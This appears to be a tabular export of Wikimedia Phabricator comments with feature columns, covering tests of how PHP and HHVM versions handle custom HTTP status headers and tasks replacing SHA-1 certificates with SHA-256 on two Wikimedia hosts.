Tests against HHVM to make sure they didn't do anything differently here?",,,1433176016,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,True,,,-5,True,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,8.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,8.0,4.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,3.625,0.8333333333333334,"QUOTE
QUOTE
[...]
QUOTE

Tests against HHVM to make sure they didn't do anything differently here?"
466819,Standardise HttpStatus header handling,"First, agreed with @bd808, and to add on to that, it would make a lot more sense to just use a third-party library for this functionality in the first place, but of course that would require more cleanup work rather than quick hack.",,,1433175765,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,16.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,18.0,2.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,16.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,3.979591836734694,0.8163265306122449,"First, agreed withSCREEN_NAME, and to add on to that, it would make a lot more sense to just use a third-party library for this functionality in the first place, but of course that would require more cleanup work rather than quick hack."
466791,Standardise HttpStatus header handling,"I'm not sure that this has anything to do with #librarization unless there is a 3rd party library that you want to pull in to help with standardizing this or a library is somehow going to be extracted from MW and published.

+1 for cleaning this up however and making some uniform and simple way to set the response code.",,,1433173628,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,True,,,-5,True,2.0,2.0,0.0,2.0,2.0,8.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,0.0,2.0,2.0,2.0,5.0,20.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,9.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,5.0,5.0,3.0,3.0,6.0,11.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,3.0,20.0,2.0,0.0,0.0,0.0,3.0,0.0,2.0,3.0,0.0,6.0,0.0,0.0,0.0,4.046153846153846,0.7846153846153846,"I'm not sure that this has anything to do with #librarization unless there is a 3rd party library that you want to pull in to help with standardizing this or a library is somehow going to be extracted from MW and published.

+1 for cleaning this up however and making some uniform and simple way to set the response code."
469436,Standardise HttpStatus header handling,"I've done a bit of research to see how these are handled.

Using `curl -i 'http://localhost/tmp.php'`


Test conditions:
* PHP 5.6.9 (Zend)
* Apache 2.4 (mod_php5)
* OS X 10.10 Yosemite
* MacBook Pro
```
1. <?php header('HTTP/1.1 403 Funny');
> HTTP/1.1 403 Funny

2. <?php header('HTTP/1.0 403 Funny');
> HTTP/1.0 403 Funny

3. <?php header('HTTP/1.3 403 Funny');
> HTTP/1.1 403 Funny

4. <?php header('HTTP/1.x 403 Funny');
> HTTP/1.1 403 Funny

5. <?php header('HTTP/1.0 403 Not Found', true, 404);
> HTTP/1.0 403 Not Found

6. <?php header('HTTP/1.1 403 Not Found', true, 404);
> HTTP/1.1 403 Not Found
```
Conclusion:
* Invalid protocol version: Normalised to 1.1.
* Different protocol version: Passed.
* Custom message: Passed.

-------

Test conditions:
* PHP 5.3.10 (Zend)
* Apache 2.2 (mod_php5)
* Ubuntu 12.04 Precise
* Wikimedia Labs instance
```
1. <?php header('HTTP/1.1 403 Funny');
> HTTP/1.1 403 Forbidden

2. <?php header('HTTP/1.0 403 Funny');
> HTTP/1.1 403 Forbidden

3. <?php header('HTTP/1.3 403 Funny');
> HTTP/1.1 403 Forbidden

4. <?php header('HTTP/1.x 403 Funny');
> HTTP/1.1 403 Forbidden

5. <?php header('HTTP/1.0 403 Not Found', true, 404);
> HTTP/1.1 403 Forbidden

6. <?php header('HTTP/1.1 403 Not Found', true, 404);
> HTTP/1.1 403 Forbidden
```
Conclusion:
* Invalid protocol version: Normalised to 1.1.
* Different protocol version: Ignored.
* Custom message: Ignored.

-------

Test conditions:
* PHP/5.5.9-1ubuntu4.9 (Zend)
* Apache 2.4 (mod_php5)
* Ubuntu 14 Trusty
* Wikimedia Labs instance
```
1. <?php header('HTTP/1.1 403 Funny');
> HTTP/1.1 403 Funny

2. <?php header('HTTP/1.0 403 Funny');
> HTTP/1.0 403 Funny

3. <?php header('HTTP/1.3 403 Funny');
> HTTP/1.1 403 Funny

4. <?php header('HTTP/1.x 403 Funny');
> HTTP/1.1 403 Funny

5. <?php header('HTTP/1.0 403 Not Found', true, 404);
> HTTP/1.0 403 Not Found

6. <?php header('HTTP/1.1 403 Not Found', true, 404);
> HTTP/1.1 403 Not Found
```
Conclusion:
* Invalid protocol version: Normalised to 1.1.
* Different protocol version: Passed.
* Custom message: Passed.

-------

Test conditions:
* HHVM/3.6.1
* Apache
* Ubuntu 14.04 Trusty
* mw1017.eqiad.wmnet
```
1. <?php header('HTTP/1.1 403 Funny');
> HTTP/1.1 403 Funny

2. <?php header('HTTP/1.0 403 Funny');
> HTTP/1.1 403 Funny

3. <?php header('HTTP/1.3 403 Funny');
> HTTP/1.1 403 Funny

4. <?php header('HTTP/1.x 403 Funny');
> HTTP/1.1 403 Funny

5. <?php header('HTTP/1.0 403 Not Found', true, 404);
> HTTP/1.1 403 Not Found

6. <?php header('HTTP/1.1 403 Not Found', true, 404);
> HTTP/1.1 403 Not Found
```
Conclusion:
* Invalid protocol version: Normalised to 1.1.
* Different protocol version: Ignored.
* Custom message: Passed.
",,,1433457974,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,5.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,25.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,1.0,5.0,12.0,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.6625,0.625,"I've done a bit of research to see how these are handled.

Using CODE


Test conditions:
* PHP 5.6.9 (Zend)
* Apache 2.4 (mod_php5)
* OS X 10.10 Yosemite
* MacBook Pro
``CODE`CODE`CODE`CODE`CODE`CODE`CODE``
Conclusion:
* Invalid protocol version: Normalised to 1.1.
* Different protocol version: Ignored.
* Custom message: Passed.
"
469405,Standardise HttpStatus header handling,"I've done a bit of research to see how PHP handles these.



Test conditions:
* PHP 5.6.9 (Zend)
* Apache 2.4 (mod_php5)
* OS X 10.10 Yosemite
* MacBook Pro

`curl -i 'http://localhost/tmp.php'`
```
1. <?php header('HTTP/1.1 403 Funny');
> HTTP/1.1 403 Funny

2. <?php header('HTTP/1.0 403 Funny');
> HTTP/1.0 403 Funny

3. <?php header('HTTP/1.3 403 Funny');
> HTTP/1.1 403 Funny

4. <?php header('HTTP/1.x 403 Funny');
> HTTP/1.1 403 Funny

5. <?php header('HTTP/1.0 403 Not Found', true, 404);
> HTTP/1.0 403 Not Found

6. <?php header('HTTP/1.1 403 Not Found', true, 404);
> HTTP/1.1 403 Not Found
```

Test conditions:
* PHP 5.3.10 (Zend)
* Apache 2.2 (mod_php5)
* Ubuntu 12.04 Precise
* Wikimedia Labs
```
1. <?php header('HTTP/1.1 403 Funny');
> HTTP/1.1 403 Forbidden

2. <?php header('HTTP/1.0 403 Funny');
> HTTP/1.1 403 Forbidden

3. <?php header('HTTP/1.3 403 Funny');
> HTTP/1.1 403 Forbidden

4. <?php header('HTTP/1.x 403 Funny');
> HTTP/1.1 403 Forbidden

5. <?php header('HTTP/1.0 403 Not Found', true, 404);
> HTTP/1.1 403 Forbidden

6. <?php header('HTTP/1.1 403 Not Found', true, 404);
> HTTP/1.1 403 Forbidden
```

Test conditions:
* PHP/5.5.9-1ubuntu4.9 (Zend)
* Apache 2.4 (mod_php5)
* Ubuntu 14 Trusty
* Wikimedia Labs
```
1. <?php header('HTTP/1.1 403 Funny');
> HTTP/1.1 403 Funny

2. <?php header('HTTP/1.0 403 Funny');
> HTTP/1.0 403 Funny

3. <?php header('HTTP/1.3 403 Funny');
> HTTP/1.1 403 Funny

4. <?php header('HTTP/1.x 403 Funny');
> HTTP/1.1 403 Funny

5. <?php header('HTTP/1.0 403 Not Found', true, 404);
> HTTP/1.0 403 Not Found

6. <?php header('HTTP/1.1 403 Not Found', true, 404);
> HTTP/1.1 403 Not Found
```",,,1433456110,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,26.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,6.0,18.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.34,0.74,"I've done a bit of research to see how PHP handles these.



Test conditions:
* PHP 5.6.9 (Zend)
* Apache 2.4 (mod_php5)
* OS X 10.10 Yosemite
* MacBook Pro

CODE
``CODE`CODE`CODE`CODE`CODE``"
469401,Standardise HttpStatus header handling,"I've done a bit of research to see how PHP handles these.



Test conditions:
* PHP 5.6.9 (Zend)
* Apache 2.4
* OS X 10.10 Yosemite
* MacBook Pro

`curl -i 'http://localhost/tmp.php'`
```
1. <?php header('HTTP/1.1 403 Funny');
> HTTP/1.1 403 Funny

2. <?php header('HTTP/1.0 403 Funny');
> HTTP/1.0 403 Funny

3. <?php header('HTTP/1.3 403 Funny');
> HTTP/1.1 403 Funny

4. <?php header('HTTP/1.x 403 Funny');
> HTTP/1.1 403 Funny

5. <?php header('HTTP/1.0 403 Not Found', true, 404);
> HTTP/1.0 403 Not Found

6. <?php header('HTTP/1.1 403 Not Found', true, 404);
> HTTP/1.1 403 Not Found
```

Test conditions:
* PHP 5.3.10 (Zend)
* Apache 2.2
* Ubuntu 12.04 Precise
* Wikimedia Labs
```
1. <?php header('HTTP/1.1 403 Funny');
> HTTP/1.1 403 Forbidden

2. <?php header('HTTP/1.0 403 Funny');
> HTTP/1.1 403 Forbidden

3. <?php header('HTTP/1.3 403 Funny');
> HTTP/1.1 403 Forbidden

4. <?php header('HTTP/1.x 403 Funny');
> HTTP/1.1 403 Forbidden

5. <?php header('HTTP/1.0 403 Not Found', true, 404);
> HTTP/1.1 403 Forbidden

6. <?php header('HTTP/1.1 403 Not Found', true, 404);
> HTTP/1.1 403 Forbidden
```

Test conditions:
* PHP/5.5.9-1ubuntu4.9 (Zend)
* Apache 2.4
* Ubuntu 14 Trusty
* Wikimedia Labs
```
1. <?php header('HTTP/1.1 403 Funny');
> HTTP/1.1 403 Funny

2. <?php header('HTTP/1.0 403 Funny');
> HTTP/1.0 403 Funny

3. <?php header('HTTP/1.3 403 Funny');
> HTTP/1.1 403 Funny

4. <?php header('HTTP/1.x 403 Funny');
> HTTP/1.1 403 Funny

5. <?php header('HTTP/1.0 403 Not Found', true, 404);
> HTTP/1.0 403 Not Found

6. <?php header('HTTP/1.1 403 Not Found', true, 404);
> HTTP/1.1 403 Not Found
```",,,1433455964,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,True,,,-4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,28.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,2.0,6.0,17.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.3404255319148937,0.7659574468085106,"I've done a bit of research to see how PHP handles these.



Test conditions:
* PHP 5.6.9 (Zend)
* Apache 2.4
* OS X 10.10 Yosemite
* MacBook Pro

CODE
``CODE`CODE`CODE`CODE`CODE``"
466776,Standardise HttpStatus header handling,"I've done a bit of research to see how PHP handles these.



Test conditions:
* PHP 5.6.9 (Zend)
* Apache 2.4
* OS X 10.10 Yosemite

`curl -i 'http://localhost/tmp.php'`
```
1. <?php header('HTTP/1.1 403 Funny');
> HTTP/1.1 403 Funny

2. <?php header('HTTP/1.0 403 Funny');
> HTTP/1.0 403 Funny

3. <?php header('HTTP/1.3 403 Funny');
> HTTP/1.1 403 Funny

4. <?php header('HTTP/1.x 403 Funny');
> HTTP/1.1 403 Funny

5. <?php header('HTTP/1.0 403 Not Found', true, 404);
> HTTP/1.0 403 Not Found

6. <?php header('HTTP/1.1 403 Not Found', true, 404);
> HTTP/1.1 403 Not Found
```

Test conditions:
* PHP 5.3.10 (Zend)
* Apache 2.2
* Ubuntu 12.04 Trusty
```
1. <?php header('HTTP/1.1 403 Funny');
> HTTP/1.1 403 Forbidden

2. <?php header('HTTP/1.0 403 Funny');
> HTTP/1.1 403 Forbidden

3. <?php header('HTTP/1.3 403 Funny');
> HTTP/1.1 403 Forbidden

4. <?php header('HTTP/1.x 403 Funny');
> HTTP/1.1 403 Forbidden

5. <?php header('HTTP/1.0 403 Not Found', true, 404);
> HTTP/1.1 403 Forbidden

6. <?php header('HTTP/1.0 403 Not Found', true, 404);
> HTTP/1.1 403 Forbidden
```",,,1433172338,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,26.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,2.0,5.0,14.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.13953488372093,0.7906976744186046,"I've done a bit of research to see how PHP handles these.



Test conditions:
* PHP 5.6.9 (Zend)
* Apache 2.4
* OS X 10.10 Yosemite

CODE
``CODE`CODE`CODE``"
466742,Standardise HttpStatus header handling,"Change 215031 had a related patch set uploaded (by Krinkle):
exception: Use standard message for HTTP status 500

[[https://gerrit.wikimedia.org/r/215031]]
",,,1433170637,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uazbd46bp32q7ojlg6fi,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.896551724137931,0.896551724137931,"Change 215031 had a related patch set uploaded (by Krinkle):
exception: Use standard message for HTTP status 500

[[GERRIT_URL]]
"
100835,replace tendril.wikimedia.org's sha1 cert with sha256,"Tracking task to replace tendril.wikimedia.org's sha1 cert with sha256, in multiple steps:

[x] - reissue certificate in sha256
[x] - update configuration to use new certificate
[x] - push changes live
[ ] - revoke old sha1 certificate",Medium,50.0,1432928583,1433275859.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-z2ax7hrjllplsah4gtps,task_description,resolved,True,c3,1,True,False,True,-5,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,18.0,3.9607843137254903,0.6274509803921569,"Tracking task to replace tendril.wikimedia.org's sha1 cert with sha256, in multiple steps:

[x] - reissue certificate in sha256
[x] - update configuration to use new certificate
[x] - push changes live
[ ] - revoke old sha1 certificate"
467801,replace tendril.wikimedia.org's sha1 cert with sha256,"also was: https://gerrit.wikimedia.org/r/#/c/215403/

replaced now:
Signature algorithm 	SHA256withRSA

https://www.ssllabs.com/ssltest/analyze.html?d=tendril.wikimedia.org",,,1433275859,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-z2ax7hrjllplsah4gtps,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,0.8,"also was: URL

replaced now:
Signature algorithm 	SHA256withRSA

URL"
467790,replace tendril.wikimedia.org's sha1 cert with sha256,"Change 214692 merged by Dzahn:
replace tendril.wikimedia.org's sha1 cert with sha256

[[https://gerrit.wikimedia.org/r/214692]]",,,1433275169,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-z2ax7hrjllplsah4gtps,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.55,0.9,"Change 214692 merged by Dzahn:
replace tendril.wikimedia.org's sha1 cert with sha256

[[GERRIT_URL]]"
465947,replace tendril.wikimedia.org's sha1 cert with sha256,"Change 214692 had a related patch set uploaded (by RobH):
replace tendril.wikimedia.org's sha1 cert with sha256

[[https://gerrit.wikimedia.org/r/214692]]
",,,1432928605,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-z2ax7hrjllplsah4gtps,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,4.222222222222222,0.8888888888888888,"Change 214692 had a related patch set uploaded (by RobH):
replace tendril.wikimedia.org's sha1 cert with sha256

[[GERRIT_URL]]
"
100832,replace lists.wikimedia.org's sha1 cert with sha256,"Tracking task to replace list.wikimedia.org's sha1 cert with sha256, in multiple steps:

[x] - reissue certificate in sha256
[x] - update configuration to use new certificate
[x] - push changes live
[x] - revoke old sha1 certificate",Medium,50.0,1432927691,1433270981.0,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-USER-xy6c3ul27f336aaedx2d,False,PHID-TASK-minzsjnqbfcsfpgwwmf3,task_description,resolved,True,c3,1,True,True,True,-5,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,23.0,3.8461538461538463,0.6153846153846154,"Tracking task to replace list.wikimedia.org's sha1 cert with sha256, in multiple steps:

[x] - reissue certificate in sha256
[x] - update configuration to use new certificate
[x] - push changes live
[x] - revoke old sha1 certificate"
467733,replace lists.wikimedia.org's sha1 cert with sha256,"completed, resolving",,,1433270981,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-minzsjnqbfcsfpgwwmf3,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,6.333333333333333,1.0,"completed, resolving"
467626,replace lists.wikimedia.org's sha1 cert with sha256,"Change 214680 merged by RobH:
lists.wikimedia.org certificate sha1 to sha256

[[https://gerrit.wikimedia.org/r/214680]]",,,1433264675,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-minzsjnqbfcsfpgwwmf3,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.666666666666667,0.8888888888888888,"Change 214680 merged by RobH:
lists.wikimedia.org certificate sha1 to sha256

[[GERRIT_URL]]"
466033,replace lists.wikimedia.org's sha1 cert with sha256,I'll be handling the implementation of this during my mailing list maintenance window scheduled on T100711,,,1432936764,,PHID-USER-xy6c3ul27f336aaedx2d,False,,,PHID-TASK-minzsjnqbfcsfpgwwmf3,task_subcomment,,True,c3,1,True,,,-5,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,5.352941176470588,1.0,I'll be handling the implementation of this during my mailing list maintenance window scheduled on T100711
465935,replace lists.wikimedia.org's sha1 cert with sha256,"Change 214680 had a related patch set uploaded (by RobH):
lists.wikimedia.org certificate sha1 to sha256

[[https://gerrit.wikimedia.org/r/214680]]
",,,1432927713,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-minzsjnqbfcsfpgwwmf3,task_subcomment,,True,c3,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.32,0.88,"Change 214680 had a related patch set uploaded (by RobH):
lists.wikimedia.org certificate sha1 to sha256

[[GERRIT_URL]]
"
